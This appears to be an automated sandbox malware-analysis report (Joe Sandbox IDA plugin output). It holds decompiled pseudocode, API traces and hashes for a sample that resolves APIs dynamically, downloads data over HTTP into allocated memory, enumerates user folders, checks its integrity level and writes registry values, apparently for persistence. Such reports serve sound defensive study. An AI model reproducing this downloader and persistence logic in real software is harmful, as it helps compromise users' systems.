C-Code - Quality: 87%

			E10001A90() {
				char _v4;
				char _v8;
				signed int* _v24;
				intOrPtr _v28;
				char* _t9;
				_Unknown_base(*)()* _t17;
				_Unknown_base(*)()* _t18;
				_Unknown_base(*)()* _t19;
				struct HINSTANCE__* _t20;
				_Unknown_base(*)()* _t21;
				_Unknown_base(*)()* _t22;
				_Unknown_base(*)()* _t23;
				_Unknown_base(*)()* _t24;
				_Unknown_base(*)()* _t25;
				_Unknown_base(*)()* _t26;
				_Unknown_base(*)()* _t27;
				_Unknown_base(*)()* _t28;
				_Unknown_base(*)()* _t29;
				struct HINSTANCE__* _t30;
				_Unknown_base(*)()* _t31;
				struct HINSTANCE__* _t36;
				struct HINSTANCE__* _t37;

				_v4 = 0;
				_t9 =  &_v4;
				_v8 = 0;
				__imp__WTSEnumerateSessionsA(0, 0, 1, _t9,  &_v8); // executed
				if(_t9 == 0 || _v28 == 0) {
					L20:
					return 0;
				} else {
					 *0x1001d000 =  *(_v24[1]) ^  *_v24; // executed
					SetErrorMode(0x8007); // executed
					if(E100026B0() == 0) {
						goto L20;
					} else {
						_t36 = LoadLibraryA( *0x1001d040);
						if(_t36 == 0) {
							goto L20;
						} else {
							_t17 = GetProcAddress(_t36,  *0x1001d044);
							 *0x1001d010 = _t17;
							if(_t17 == 0) {
								goto L20;
							} else {
								_t18 = GetProcAddress(_t36,  *0x1001d048);
								 *0x1001d008 = _t18;
								if(_t18 == 0) {
									goto L20;
								} else {
									_t19 = GetProcAddress(_t36,  *0x1001d04c);
									 *0x1001d02c = _t19;
									if(_t19 == 0) {
										goto L20;
									} else {
										_t20 = LoadLibraryA( *0x1001d050); // executed
										_t37 = _t20;
										if(_t37 == 0) {
											goto L20;
										} else {
											_t21 = GetProcAddress(_t37,  *0x1001d054);
											 *0x1001d018 = _t21;
											if(_t21 == 0) {
												goto L20;
											} else {
												_t22 = GetProcAddress(_t37,  *0x1001d058);
												 *0x1001d034 = _t22;
												if(_t22 == 0) {
													goto L20;
												} else {
													_t23 = GetProcAddress(_t37,  *0x1001d05c);
													 *0x1001d014 = _t23;
													if(_t23 == 0) {
														goto L20;
													} else {
														_t24 = GetProcAddress(_t37,  *0x1001d060);
														 *0x1001d038 = _t24;
														if(_t24 == 0) {
															goto L20;
														} else {
															_t25 = GetProcAddress(_t37,  *0x1001d064);
															 *0x1001d028 = _t25;
															if(_t25 == 0) {
																goto L20;
															} else {
																_t26 = GetProcAddress(_t37,  *0x1001d068);
																 *0x1001d030 = _t26;
																if(_t26 == 0) {
																	goto L20;
																} else {
																	_t27 = GetProcAddress(_t37,  *0x1001d06c);
																	 *0x1001d020 = _t27;
																	if(_t27 == 0) {
																		goto L20;
																	} else {
																		_t28 = GetProcAddress(_t37,  *0x1001d070);
																		 *0x1001d024 = _t28;
																		if(_t28 == 0) {
																			goto L20;
																		} else {
																			_t29 = GetProcAddress(_t37,  *0x1001d074);
																			 *0x1001d00c = _t29;
																			if(_t29 == 0) {
																				goto L20;
																			} else {
																				_t30 = LoadLibraryA( *0x1001d078);
																				if(_t30 == 0) {
																					goto L20;
																				} else {
																					_t31 = GetProcAddress(_t30,  *0x1001d07c);
																					 *0x1001d01c = _t31;
																					if(_t31 == 0) {
																						goto L20;
																					} else {
																						 *_t31(0, 0); // executed
																						return 1;
																					}
																				}
																			}
																		}
																	}
																}
															}
														}
													}
												}
											}
										}
									}
								}
							}
						}
					}
				}
			}

0x10001a9a
0x10001aa3
0x10001aa7
0x10001ab6
0x10001abe
0x10001c4d
0x10001c53
0x10001acf
0x10001adf
0x10001ae4
0x10001af1
0x00000000
0x10001af7
0x10001b05
0x10001b09
0x00000000
0x10001b0f
0x10001b1c
0x10001b1e
0x10001b25
0x00000000
0x10001b2b
0x10001b32
0x10001b34
0x10001b3b
0x00000000
0x10001b41
0x10001b48
0x10001b4a
0x10001b51
0x00000000
0x10001b57
0x10001b5d
0x10001b5f
0x10001b63
0x00000000
0x10001b69
0x10001b70
0x10001b72
0x10001b79
0x00000000
0x10001b7f
0x10001b86
0x10001b88
0x10001b8f
0x00000000
0x10001b95
0x10001b9c
0x10001b9e
0x10001ba5
0x00000000
0x10001bab
0x10001bb2
0x10001bb4
0x10001bbb
0x00000000
0x10001bc1
0x10001bc8
0x10001bca
0x10001bd1
0x00000000
0x10001bd3
0x10001bda
0x10001bdc
0x10001be3
0x00000000
0x10001be5
0x10001bec
0x10001bee
0x10001bf5
0x00000000
0x10001bf7
0x10001bfe
0x10001c00
0x10001c07
0x00000000
0x10001c09
0x10001c10
0x10001c12
0x10001c19
0x00000000
0x10001c1b
0x10001c21
0x10001c25
0x00000000
0x10001c27
0x10001c2e
0x10001c30
0x10001c37
0x00000000
0x10001c39
0x10001c3d
0x10001c4a
0x10001c4a
0x10001c37
0x10001c25
0x10001c19
0x10001c07
0x10001bf5
0x10001be3
0x10001bd1
0x10001bbb
0x10001ba5
0x10001b8f
0x10001b79
0x10001b63
0x10001b51
0x10001b3b
0x10001b25
0x10001b09
0x10001af1

APIs

WTSEnumerateSessionsA.WTSAPI32(00000000,00000000,00000001,?,?,?,?,?,?,?,?,10001ED0), ref: 10001AB6
SetErrorMode.KERNEL32(00008007,?,?,?,?,?,?,10001ED0), ref: 10001AE4
LoadLibraryA.KERNEL32(?,?,?,?,?,?,10001ED0), ref: 10001B03
GetProcAddress.KERNEL32(00000000), ref: 10001B1C
GetProcAddress.KERNEL32(00000000), ref: 10001B32
GetProcAddress.KERNEL32(00000000), ref: 10001B48
LoadLibraryA.KERNEL32(?,?,?,?,?,?,10001ED0), ref: 10001B5D
GetProcAddress.KERNEL32(00000000), ref: 10001B70
GetProcAddress.KERNEL32(00000000), ref: 10001B86
GetProcAddress.KERNEL32(00000000), ref: 10001B9C
GetProcAddress.KERNEL32(00000000), ref: 10001BB2
GetProcAddress.KERNEL32(00000000), ref: 10001BC8
GetProcAddress.KERNEL32(00000000), ref: 10001BDA
GetProcAddress.KERNEL32(00000000), ref: 10001BEC
GetProcAddress.KERNEL32(00000000), ref: 10001BFE
GetProcAddress.KERNEL32(00000000), ref: 10001C10
LoadLibraryA.KERNEL32(?,?,?,?,?,?,10001ED0), ref: 10001C21
GetProcAddress.KERNEL32(00000000), ref: 10001C2E

Strings

0O@t, xrefs: 10001AB6

Memory Dump Source

Source File: 00000007.00000002.380451377.0000000010001000.00000020.00000001.01000000.00000008.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.380446044.0000000010000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000007.00000002.380457810.0000000010003000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000007.00000002.380471094.000000001001D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000007.00000002.380476329.000000001001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10000000_rundll32.jbxd

Similarity

API ID: AddressProc$LibraryLoad$EnumerateErrorModeSessions
String ID: 0O@t
API String ID: 2879739223-230168416
Opcode ID: 963e0b9c45f8b20e0410af8dcd11321d4bfa6ab4de4040256ca4a135e235d75b
Instruction ID: f11ddf42e6ebeff2e7d54faa303bda9d33581bfd91d09a3f99f7ddcef9a35633
Opcode Fuzzy Hash: 963e0b9c45f8b20e0410af8dcd11321d4bfa6ab4de4040256ca4a135e235d75b
Instruction Fuzzy Hash: 6B411B71544222ABFB03BB698DA0B6A3FFDEB4C681F01C42BE900D2164DB75C806DB65

Uniqueness

Uniqueness Score: -1.00%

Function 100017A0 Relevance: 31.7, APIs: 17, Strings: 1, Instructions: 220
networkmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E100017A0(char* __ecx) {
				int _t55;
				void* _t57;
				void* _t58;
				void* _t59;
				void* _t64;
				int _t66;
				void* _t67;
				long _t79;
				void* _t86;
				long _t87;
				long _t95;
				long _t99;
				void** _t100;
				long* _t102;
				char* _t103;
				long* _t104;
				long _t105;
				void* _t107;
				void* _t108;
				void* _t109;

				_t100 =  *(_t108 + 0x998);
				_t103 = __ecx;
				E100016A0(_t108 + 0x8c, 0, 0x100);
				E100016A0(_t108 + 0x19c, 0, 0x800);
				E100016A0(_t108 + 0x4c, 0, 0x3c);
				_t109 = _t108 + 0x24;
				 *(_t109 + 0x30) = 0x3c;
				 *((intOrPtr*)(_t109 + 0x44)) = 0x100;
				 *((intOrPtr*)(_t109 + 0x40)) = _t109 + 0x8c;
				 *(_t109 + 0x5c) = _t109 + 0x18c;
				 *((intOrPtr*)(_t109 + 0x70)) = 0x800;
				_t55 = InternetCrackUrlA(_t103, 0, 0, _t109 + 0x30); // executed
				if(_t55 == 0) {
					L23:
					return 0;
				} else {
					_t57 = InternetOpenA(0, 0, 0, 0, 0); // executed
					 *(_t109 + 0x2c) = _t57;
					if(_t57 == 0) {
						goto L23;
					} else {
						_t58 = InternetConnectA(_t57, _t109 + 0xa4,  *(_t109 + 0x5c), 0, 0, 3, 0, 0); // executed
						 *(_t109 + 0x28) = _t58;
						if(_t58 == 0) {
							goto L23;
						} else {
							_t91 =  ==  ? 0x84800000 : 0x84000000;
							 *(_t109 + 0x28) =  ==  ? 0x84800000 : 0x84000000;
							_t59 = HttpOpenRequestA(_t58,  *0x1001d0b0, _t109 + 0x1a0,  *0x1001d0b4, 0, 0, 0x84000000, 0); // executed
							_t86 = _t59;
							 *(_t109 + 0x1c) = _t86;
							if(_t86 == 0) {
								goto L23;
							} else {
								if( *((intOrPtr*)(_t109 + 0x3c)) == 4) {
									 *(_t109 + 0x18) = 0x3380;
									InternetSetOptionA(_t86, 0x1f, _t109 + 0x18, 4);
								}
								if(HttpSendRequestA(_t86, 0, 0, 0, 0) == 0) {
									goto L23;
								} else {
									 *(_t109 + 0x28) = 0x1e;
									HttpQueryInfoA(_t86, 5, _t109 + 0x74, _t109 + 0x28, 0);
									_t104 =  *(_t109 + 0x99c);
									_t105 = 0x100000;
									 *_t104 = 0; // executed
									_t64 = VirtualAlloc(0, 0x100000, 0x3000, 4); // executed
									 *_t100 = _t64;
									if(_t64 == 0) {
										goto L23;
									} else {
										 *(_t109 + 0x20) = 0x100000 -  *_t104;
										_t66 = InternetReadFile(_t86, _t64 +  *_t104, 0x100000, _t109 + 0x10); // executed
										_t102 =  *(_t109 + 0x998);
										if(_t66 != 0) {
											while(1) {
												_t95 =  *(_t109 + 0x10);
												if(_t95 == 0) {
													goto L16;
												}
												_t99 =  *_t104 + _t95;
												 *_t104 = _t99;
												if(_t99 < _t105) {
													L13:
													if(InternetReadFile(_t86,  *_t102 + _t99, _t95, _t109 + 0x10) != 0) {
														continue;
													} else {
													}
												} else {
													 *(_t109 + 0x1c) =  *_t102;
													_t33 = _t105 + 0x100000; // 0x200000
													_t79 = _t33;
													 *(_t109 + 0x30) = _t79;
													_t87 = VirtualAlloc(0, _t79, 0x3000, 4);
													if(_t87 == 0) {
														VirtualFree( *(_t109 + 0x18), 0, 0x8000);
														 *_t102 = _t87;
														_t86 =  *(_t109 + 0x1c);
													} else {
														_t107 =  *(_t109 + 0x1c);
														E100015D0(_t87, _t107, _t105);
														_t109 = _t109 + 0xc;
														VirtualFree(_t107, 0, 0x8000);
														_t105 =  *(_t109 + 0x20);
														_t99 =  *_t104;
														_t95 = _t105 - _t99;
														 *_t102 = _t87;
														_t86 =  *(_t109 + 0x1c);
														 *(_t109 + 0x10) = _t95;
														goto L13;
													}
												}
												goto L16;
											}
										}
										L16:
										if( *_t104 == 0) {
											_t67 =  *_t102;
											if(_t67 != 0) {
												VirtualFree(_t67, 0, 0x8000);
											}
											goto L21;
										} else {
											if( *_t102 == 0) {
												L21:
												 *_t104 = 0;
												 *_t102 = 0;
											}
										}
										InternetCloseHandle(_t86); // executed
										InternetCloseHandle( *(_t109 + 0x28));
										InternetCloseHandle( *(_t109 + 0x2c));
										return 0 |  *_t104 != 0x00000000;
									}
								}
							}
						}
					}
				}
			}

0x100017aa
0x100017c0
0x100017c2
0x100017d6
0x100017e4
0x100017e9
0x100017ec
0x100017fb
0x10001803
0x1000180e
0x1000181c
0x10001824
0x1000182c
0x10001a60
0x10001a69
0x10001832
0x1000183c
0x10001842
0x10001848
0x00000000
0x1000184e
0x10001865
0x1000186b
0x10001871
0x00000000
0x10001877
0x10001888
0x10001896
0x100018a9
0x100018af
0x100018b1
0x100018b7
0x00000000
0x100018bd
0x100018c2
0x100018ca
0x100018d6
0x100018d6
0x100018ed
0x00000000
0x100018f3
0x100018f9
0x1000190a
0x10001910
0x10001917
0x10001926
0x1000192c
0x10001932
0x10001936
0x00000000
0x1000193c
0x1000194a
0x1000194e
0x10001954
0x1000195d
0x10001963
0x10001963
0x10001969
0x00000000
0x00000000
0x10001971
0x10001973
0x10001977
0x100019d0
0x100019e4
0x00000000
0x00000000
0x100019ea
0x10001979
0x1000197d
0x10001981
0x10001981
0x1000198f
0x10001999
0x1000199d
0x100019f8
0x100019fe
0x10001a00
0x1000199f
0x100019a0
0x100019a6
0x100019ab
0x100019b6
0x100019bc
0x100019c2
0x100019c4
0x100019c6
0x100019c8
0x100019cc
0x00000000
0x100019cc
0x1000199d
0x00000000
0x10001977
0x10001963
0x10001a04
0x10001a07
0x10001a10
0x10001a14
0x10001a1e
0x10001a1e
0x00000000
0x10001a09
0x10001a0c
0x10001a24
0x10001a24
0x10001a2a
0x10001a2a
0x10001a0c
0x10001a31
0x10001a3b
0x10001a45
0x10001a5c
0x10001a5c
0x10001936
0x100018ed
0x100018b7
0x10001871
0x10001848

APIs

InternetCrackUrlA.WININET ref: 10001824
InternetOpenA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 1000183C
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 10001865
HttpOpenRequestA.WININET(00000000,?,00000000,00000000,84000000,00000000), ref: 100018A9
InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 100018D6
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 100018E5
HttpQueryInfoA.WININET(00000000,00000005,?,?,00000000), ref: 1000190A
VirtualAlloc.KERNEL32(00000000,00100000,00003000,00000004,?,?,?,?,?,?,?,?,00000000,00000000,0000003C), ref: 1000192C
InternetReadFile.WININET(00000000,00000000,00100000,?), ref: 1000194E
VirtualAlloc.KERNEL32(00000000,00200000,00003000,00000004,?,?,?,?,?,?,?,?,00000000,00000000,0000003C), ref: 10001993
VirtualFree.KERNEL32(?,00000000,00008000,?,?,?,?,?,?,?,?,?,00000000,?,00000000), ref: 100019B6
InternetReadFile.WININET(00000000,?,?,?), ref: 100019DC
VirtualFree.KERNEL32(?,00000000,00008000,?,?,?,?,?,?,?,?,00000000,00000000,0000003C), ref: 100019F8
VirtualFree.KERNEL32(00000000,00000000,00008000,?,?,?,?,?,?,?,?,00000000,00000000,0000003C), ref: 10001A1E
InternetCloseHandle.WININET(00000000), ref: 10001A31
InternetCloseHandle.WININET(0000001E), ref: 10001A3B
InternetCloseHandle.WININET(?), ref: 10001A45

Strings

<, xrefs: 100017EC

Memory Dump Source

Source File: 00000007.00000002.380451377.0000000010001000.00000020.00000001.01000000.00000008.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.380446044.0000000010000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000007.00000002.380457810.0000000010003000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000007.00000002.380471094.000000001001D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000007.00000002.380476329.000000001001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10000000_rundll32.jbxd

Similarity

API ID: Internet$Virtual$CloseFreeHandleHttp$AllocFileOpenReadRequest$ConnectCrackInfoOptionQuerySend
String ID: <
API String ID: 1045437776-4251816714
Opcode ID: 1e6dab208a5b98f6da44e011f4c3d1ffad1ac926999421ed8502cee918182c45
Instruction ID: d5f64023a44be9376c54927f6d66e112a983524d78f9d2733c709eb7a13e5a2f
Opcode Fuzzy Hash: 1e6dab208a5b98f6da44e011f4c3d1ffad1ac926999421ed8502cee918182c45
Instruction Fuzzy Hash: B7713F71645341AFF721DF60CC85F9BB7E8FB48780F10482EFA8596290D7B4E5448B66

Uniqueness

Uniqueness Score: -1.00%

Function 04A07390 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 131
stringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 66%

			E04A07390(void* __ecx) {
				struct _WIN32_FIND_DATAW _v636;
				short _v1136;
				short _v1156;
				int _t34;
				signed int _t36;
				signed int _t46;
				void* _t61;
				void* _t65;
				WCHAR* _t69;
				intOrPtr _t71;
				intOrPtr _t72;
				void* _t74;
				void* _t77;
				void* _t78;
				intOrPtr* _t79;
				void* _t82;
				signed int _t84;
				WCHAR* _t85;
				short* _t86;
				signed int _t87;
				void* _t89;
				void* _t90;
				void* _t91;

				_t65 = __ecx;
				_t89 = (_t87 & 0xfffffff8) - 0x458;
				_t79 = __imp__SHGetFolderPathW;
				_t34 =  *_t79(0, 0x1c, 0, 0, _t89, _t74, _t78, _t82, _t61);
				if(_t34 != 0) {
					L12:
					return _t34;
				}
				_t36 = lstrlenW( &_v1136);
				_t71 =  *0x4a1682c; // 0x4a17f5c
				_t84 = _t36;
				_push(_t65);
				_push( *0x4a16be0);
				_push(0x20);
				_push(0x4a151c0);
				E04A072A0(_t71);
				_t90 = _t89 + 0x10;
				_t34 = lstrlenA(0x4a16608);
				if(_t34 > 0xce) {
					goto L12;
				}
				_t72 =  *0x4a1688c; // 0x4a181cc
				_push( &_v1136);
				_push( *0x4a16be4);
				 *((short*)(_t90 + 0x18 + _t84 * 2)) = 0;
				_push(9);
				_push(0x4a15240);
				E04A072A0(_t72);
				_t91 = _t90 + 0x10;
				_t34 = lstrlenA(0x4a16608);
				if(_t34 > 0xce) {
					goto L12;
				}
				_t34 =  *_t79(0, 0x1a, 0, 0,  &_v1136); // executed
				if(_t34 != 0) {
					goto L12;
				}
				lstrcatW( &_v1156,  *0x4a168a4);
				lstrcatW( &_v1156,  *0x4a168ac);
				_t46 = lstrlenW( &_v1156);
				_t85 =  &_v1156;
				 *((intOrPtr*)(_t85 + _t46 * 2 - 2)) = 0x2a005c;
				_t86 = _t85 + _t46 * 2;
				 *((short*)(_t91 + 0x12 + _t46 * 2)) = 0;
				_t34 = FindFirstFileW( &_v1156,  &_v636); // executed
				_t77 = _t34;
				if(_t77 == 0) {
					goto L12;
				}
				do {
					if((_v636.dwFileAttributes & 0x00000010) != 0 && _v636.cFileName != 0x2e) {
						 *_t86 = 0;
						lstrcatW( &_v1156,  &(_v636.cFileName));
						lstrcatW( &_v1156,  *0x4a168c8);
						lstrcatW( &_v1156, "\\");
						_t69 =  &_v1156;
						if(E04A01430(_t69) != 0) {
							_push(_t69);
							E04A07180( &_v1156, 0, 0x4a15190, 0xb,  *0x4a16be8);
							_t91 = _t91 + 0x10;
						}
					}
				} while (FindNextFileW(_t77,  &_v636) != 0);
				_t34 = FindClose(_t77);
				goto L12;
			}

0x04a07390
0x04a07396
0x04a073a2
0x04a073b2
0x04a073b6
0x04a07536
0x04a0753d
0x04a0753d
0x04a073c7
0x04a073c9
0x04a073cf
0x04a073d1
0x04a073d2
0x04a073dc
0x04a073de
0x04a073e3
0x04a073ee
0x04a073f6
0x04a073fd
0x00000000
0x00000000
0x04a07403
0x04a0740b
0x04a0740c
0x04a07416
0x04a0741b
0x04a0741d
0x04a07422
0x04a07427
0x04a0742f
0x04a07436
0x00000000
0x00000000
0x04a07449
0x04a0744d
0x00000000
0x00000000
0x04a07464
0x04a07471
0x04a07478
0x04a0747c
0x04a07480
0x04a07488
0x04a0748c
0x04a0749e
0x04a074a4
0x04a074a8
0x00000000
0x00000000
0x04a074b4
0x04a074bc
0x04a074cb
0x04a074dc
0x04a074e9
0x04a074f5
0x04a074f7
0x04a07502
0x04a07504
0x04a07518
0x04a0751d
0x04a0751d
0x04a07502
0x04a0752b
0x04a07530
0x00000000

APIs

SHGetFolderPathW.SHELL32(00000000,0000001C,00000000,00000000,00000000,76B2F420,04A19DF2), ref: 04A073B2
lstrlenW.KERNEL32(?), ref: 04A073C7

Part of subcall function 04A072A0: lstrcatW.KERNEL32(?,04A17F5C), ref: 04A072B5
Part of subcall function 04A072A0: lstrcatW.KERNEL32(?), ref: 04A072BE
Part of subcall function 04A072A0: lstrlenW.KERNEL32(?), ref: 04A072C7
Part of subcall function 04A072A0: lstrcatW.KERNEL32(?), ref: 04A072D5
Part of subcall function 04A072A0: lstrcatW.KERNEL32(?), ref: 04A072E1
Part of subcall function 04A072A0: lstrcatW.KERNEL32(?), ref: 04A0731C
Part of subcall function 04A072A0: lstrlenW.KERNEL32(?), ref: 04A0731F
Part of subcall function 04A072A0: lstrcatW.KERNEL32(?), ref: 04A0732A
Part of subcall function 04A072A0: GetFileAttributesW.KERNEL32(?), ref: 04A07345

lstrlenA.KERNEL32(04A16608), ref: 04A073F6
lstrlenA.KERNEL32(04A16608), ref: 04A0742F
SHGetFolderPathW.SHELL32(00000000,0000001A,00000000,00000000,?), ref: 04A07449
lstrcatW.KERNEL32(?), ref: 04A07464
lstrcatW.KERNEL32(?), ref: 04A07471
lstrlenW.KERNEL32(?), ref: 04A07478
FindFirstFileW.KERNEL32(?,?), ref: 04A0749E
lstrcatW.KERNEL32(?,0000002E), ref: 04A074DC
lstrcatW.KERNEL32(?), ref: 04A074E9
lstrcatW.KERNEL32(?,04A0F404), ref: 04A074F5

Part of subcall function 04A01430: GetFileAttributesW.KERNEL32(?,04A07500), ref: 04A01431

Part of subcall function 04A07180: lstrlenW.KERNEL32(?,747169A0,00000000,747582B0,?,?,?,?,?,?,?,?,04A072FC,?,?,?), ref: 04A07193
Part of subcall function 04A07180: lstrcatW.KERNEL32(?,00000000), ref: 04A071D0
Part of subcall function 04A07180: GetFileAttributesW.KERNEL32(?,?,?,?,?,?,?,?,?,04A072FC,?,?,?), ref: 04A071D7
Part of subcall function 04A07180: lstrcpyA.KERNEL32(?,?), ref: 04A0722C
Part of subcall function 04A07180: lstrcatA.KERNEL32(?,7476F9C0), ref: 04A0723C
Part of subcall function 04A07180: lstrcatA.KERNEL32(?,04A0F400), ref: 04A0725A
Part of subcall function 04A07180: lstrcatA.KERNEL32(04A16608,00000000), ref: 04A07266

FindNextFileW.KERNEL32(00000000,00000010), ref: 04A07529
FindClose.KERNEL32(00000000), ref: 04A07530

Strings

., xrefs: 04A074BE

Memory Dump Source

Source File: 00000007.00000002.380346351.0000000004A01000.00000020.00001000.00020000.00000000.sdmp, Offset: 04A00000, based on PE: true

Associated: 00000007.00000002.380338831.0000000004A00000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.380357902.0000000004A0F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.380387384.0000000004A15000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.380395863.0000000004A1B000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4a00000_rundll32.jbxd

Similarity

API ID: lstrcat$lstrlen$File$AttributesFind$FolderPath$CloseFirstNextlstrcpy
String ID: .
API String ID: 530207068-248832578
Opcode ID: 98e5657b832c4dc228e33282b45b286b706b6bc6cccfb816ed3e0ba4f6f5b83f
Instruction ID: 1e95f1ca6732ffdfb6b81ad4e0b5ccf203ba89671d0a49c8c95ef3bd20348065
Opcode Fuzzy Hash: 98e5657b832c4dc228e33282b45b286b706b6bc6cccfb816ed3e0ba4f6f5b83f
Instruction Fuzzy Hash: 7841C775544309ABE721EF64EC45FAB77ECEB98704F004819F544D30A0EB75F94A8BA2

Uniqueness

Uniqueness Score: -1.00%

Function 10001100 Relevance: 70.2, APIs: 39, Strings: 1, Instructions: 240
stringregistryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 98%

			E10001100() {
				short _v520;
				short _v1040;
				short _v1560;
				short _v2080;
				short _v2600;
				char _v2837;
				void _v2860;
				long _v2864;
				void* _v2868;
				long _v2872;
				long _v2876;
				long _t58;
				long _t60;
				int _t99;
				int _t106;
				int _t110;
				int _t116;
				CHAR* _t118;
				void* _t119;
				WCHAR* _t121;
				int _t122;
				long _t123;
				void* _t125;
				signed int _t126;
				long _t127;
				char* _t129;

				_t116 = 0;
				_t127 = _t126 | 0xffffffff;
				if(OpenProcessToken(GetCurrentProcess(), 8,  &_v2868) == 0) {
					L7:
					_t121 =  *0x1001d0d8; // 0x1001d22a
					if(GetTempPathW(0x104,  &_v1040) == 0) {
						L21:
						L22:
						if(GetModuleFileNameW( *0x1001d004,  &_v520, 0x104) != 0) {
							lstrcpyW( &_v2080,  *0x1001d0c4);
							lstrcatW( &_v2080,  &_v520);
							lstrcatW( &_v2080,  *0x1001d0c8);
							_t122 = 0;
							_t58 = RegOpenKeyExW(0x80000001,  *0x1001d0e4, 0, 0x20006,  &_v2872); // executed
							if(_t58 == 0) {
								RegDeleteValueW(_v2872,  *0x1001d0e8); // executed
								RegSetValueExW(_v2872,  *0x1001d0e8, 0, 1,  &_v2080, 2 + lstrlenW( &_v2080) * 2); // executed
								asm("sbb esi, esi");
								_t122 = 1;
								RegCloseKey(_v2872);
							}
							_t116 = _t122;
							if(_t122 != 0) {
								_t118 =  *0x1001d09c; // 0x1001d581
								_t129 =  *0x1001d098; // 0x1001d57c
								_t60 = RegOpenKeyExA(0x80000001,  *0x1001d090, 0, 2,  &_v2868); // executed
								if(_t60 == 0) {
									RegSetValueExA(_v2868, _t129, 0, 3, _t118, lstrlenA(_t118) + 1); // executed
									RegCloseKey(_v2868);
								}
							}
						}
						return _t116;
					}
					if(GetTempFileNameW( &_v1040, 0, 0,  &_v2600) == 0 || lstrcatW( &_v2600, _t121) == 0) {
						goto L22;
					} else {
						lstrcpyW( &_v1560,  *0x1001d0e0);
						lstrcatW( &_v1560,  &_v2600);
						lstrcatW( &_v1560, 0x1001b86c);
						lstrcpyA( &_v2860,  *0x1001d080);
						if(GetModuleFileNameA( *0x1001d004,  &_v2837, 0xed) != 0) {
							lstrcatA( &_v2860,  *0x1001d084);
						}
						_t123 = lstrlenA( &_v2860);
						if(GetFileAttributesW( &_v2600) != 0xffffffff) {
							DeleteFileW( &_v2600);
						}
						_t119 = CreateFileW( &_v2600, 0x40000000, 3, 0, 2, 0, 0);
						if(_t119 == 0xffffffff) {
							goto L22;
						} else {
							if(_t123 == 0) {
								CloseHandle(_t119);
								L19:
								if(E10002610( &_v1560) == 0) {
									goto L22;
								}
								ExitProcess(0);
							}
							_t99 = WriteFile(_t119,  &_v2860, _t123,  &_v2864, 0);
							CloseHandle(_t119);
							if(_t99 == 0) {
								goto L22;
							}
							goto L19;
						}
					}
				}
				_t106 = GetTokenInformation(_v2868, 0x19, 0, 0,  &_v2872); // executed
				if(_t106 == 0 && GetLastError() == 0x7a) {
					_t125 = LocalAlloc(0, _v2876);
					if(_t125 == 0) {
						goto L7;
					}
					_t110 = GetTokenInformation(_v2872, 0x19, _t125, _v2876,  &_v2876); // executed
					if(_t110 != 0) {
						_t127 =  *(GetSidSubAuthority( *_t125, ( *(GetSidSubAuthorityCount( *_t125)) & 0x000000ff) - 1));
					}
					LocalFree(_t125);
					if(_t127 <= 0x2000) {
						goto L21;
					}
				}
			}

0x10001111
0x10001113
0x10001125
0x1000119c
0x1000119c
0x100011b7
0x10001307
0x1000130d
0x10001328
0x1000133c
0x10001352
0x10001362
0x10001368
0x1000137c
0x10001384
0x10001390
0x100013c1
0x100013cd
0x100013cf
0x100013d0
0x100013d0
0x100013d6
0x100013da
0x100013dc
0x100013e6
0x100013fc
0x10001404
0x10001419
0x10001423
0x10001423
0x10001404
0x100013da
0x10001435
0x10001435
0x100011df
0x00000000
0x100011f8
0x10001206
0x1000121c
0x1000122b
0x10001238
0x10001256
0x10001263
0x10001263
0x10001274
0x10001287
0x10001291
0x10001291
0x100012b4
0x100012b9
0x00000000
0x100012bb
0x100012bd
0x100012e3
0x100012e9
0x100012fd
0x00000000
0x00000000
0x10001301
0x10001301
0x100012cd
0x100012d6
0x100012de
0x00000000
0x00000000
0x00000000
0x100012e0
0x100012b9
0x100011df
0x1000113a
0x1000113e
0x10001156
0x1000115a
0x00000000
0x00000000
0x1000116c
0x10001170
0x10001187
0x10001187
0x1000118a
0x10001196
0x00000000
0x00000000
0x10001196

APIs

GetCurrentProcess.KERNEL32(00000008,?), ref: 10001116
OpenProcessToken.ADVAPI32(00000000), ref: 1000111D
GetTokenInformation.KERNELBASE(?,00000019(TokenIntegrityLevel),00000000,00000000,?), ref: 1000113A
GetLastError.KERNEL32 ref: 10001140
LocalAlloc.KERNEL32(00000000,?), ref: 10001150
GetTokenInformation.KERNELBASE(?,00000019(TokenIntegrityLevel),00000000,?,?), ref: 1000116C
GetSidSubAuthorityCount.ADVAPI32(00000000), ref: 10001174
GetSidSubAuthority.ADVAPI32(00000000,?), ref: 10001181
LocalFree.KERNEL32(00000000), ref: 1000118A
GetTempPathW.KERNEL32(00000104,?), ref: 100011AF
GetTempFileNameW.KERNEL32(?,00000000,00000000,?), ref: 100011D1
lstrcatW.KERNEL32(?,1001D22A), ref: 100011EE
lstrcpyW.KERNEL32 ref: 10001206
lstrcatW.KERNEL32(?,?), ref: 1000121C
lstrcatW.KERNEL32(?,1001B86C), ref: 1000122B
lstrcpyA.KERNEL32(?), ref: 10001238
GetModuleFileNameA.KERNEL32(?,000000ED), ref: 1000124E
lstrcatA.KERNEL32(?), ref: 10001263
